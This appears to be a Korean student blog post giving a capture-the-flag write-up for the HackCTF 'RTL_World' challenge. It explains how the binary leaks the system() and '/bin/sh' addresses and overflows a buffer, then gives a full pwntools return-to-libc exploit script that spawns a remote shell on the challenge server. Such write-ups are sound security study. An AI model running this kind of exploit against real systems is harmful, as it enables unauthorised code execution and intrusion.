Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- Python
- PHP 웹페이지 만들기
- 드림핵
- CSS
- Sookmyung Information Security Study
- 자료구조 복습
- XSS Game
- HTML
- 숙명여자대학교 정보보안동아리
- 웹페이지 만들기
- WarGame
- hackerrank
- C언어
- 숙명여자대학교 정보보안 동아리
- Javascript
- siss
- lob
- hackctf
- 백준
- 기계학습
- 풀이
- 머신러닝
- SWEA
- 파이썬
- 생활코딩
- BOJ
- c
- c++
- The Loard of BOF
- BOJ Python
Archives
- Today
- Total
혜랑's STORY
[Hack CTF] RTL_World 본문
- IDA로 rtl_world 살펴보기
// main() 함수
- dlsym() 함수는 c언어에서 사용하는 함수로 두 번째 인자의 주소를 첫 번째 인자(라이브러리)에서 찾아서 변수에 저장한다. 즉, system의 주소는 v6에 "/bin/sh"의 주소는 s1에 저장된다.
- case 1을 보아 보호기법이 전혀 존재하지 않는 것 같다.
- case 2는 Get_Money() 함수를 실행시킨다.
- case 3은 gold를 1999만큼 빼고, system()의 주소를 노출(leak)한다.
- case 4는 gold를 2999만큼 빼고, shell("/bin/sh")의 주소를 노출(leak)한다.
- case 5는 buf의 크기보다 더 많이 입력을 받는다. <- buffer overflow!
// Get_Money() 함수
- gold를 많이 얻기 위해서는 v1에 4를 입력해 주어야 한다.
풀이
[Payload]
payload = buf(0x8c) + SFP(4) + RET(4) = 'A' * (0x8c + 4) + systemAddr + 'BBBB' + shellAddr
gold가 많아야 case 3, 4, 5를 실행시킬 수 있기 때문에 반복문을 사용해 gold를 모아 주었다. 그 뒤, system 주소와 "/bin/sh" 주소를 찾아 payload를 완성 시켰다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3010)
for i in range(0, 10):
p.sendlineafter(">>> ", "2")
p.sendlineafter("(Job)>>> ", "3")
p.sendlineafter(">>> ", "3")
p.recvuntil("System Armor : ")
sysAddr = p.recvuntil('\n')
sysAddr = int(sysAddr, 16)
p.sendlineafter(">>> ", "4")
p.recvuntil("Shell Sword : ")
binsh = p.recvuntil('\n')
binsh = int(binsh, 16)
p.sendlineafter(">>> ", "5")
p.recvuntil("[Attack] > ")
print hex(sysAddr)
print hex(binsh)
payload = "A" * (0x8c + 4)
payload += p32(sysAddr)
payload += 'BBBB'
payload += p32(binsh)
p.send(payload)
p.interactive()
결과
해결!
'2021 SISS 21기 활동 > 1학기 시스템' 카테고리의 다른 글
[HackCTF] rop 문제 풀이 (0) | 2021.06.16 |
---|---|
깃 허브에 올린 과제 (0) | 2021.06.16 |
[HackCTF] x64 Buffer Overflow (0) | 2021.04.09 |
[HackCTF] Basic_BOF #1 (0) | 2021.04.09 |
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.04.02 |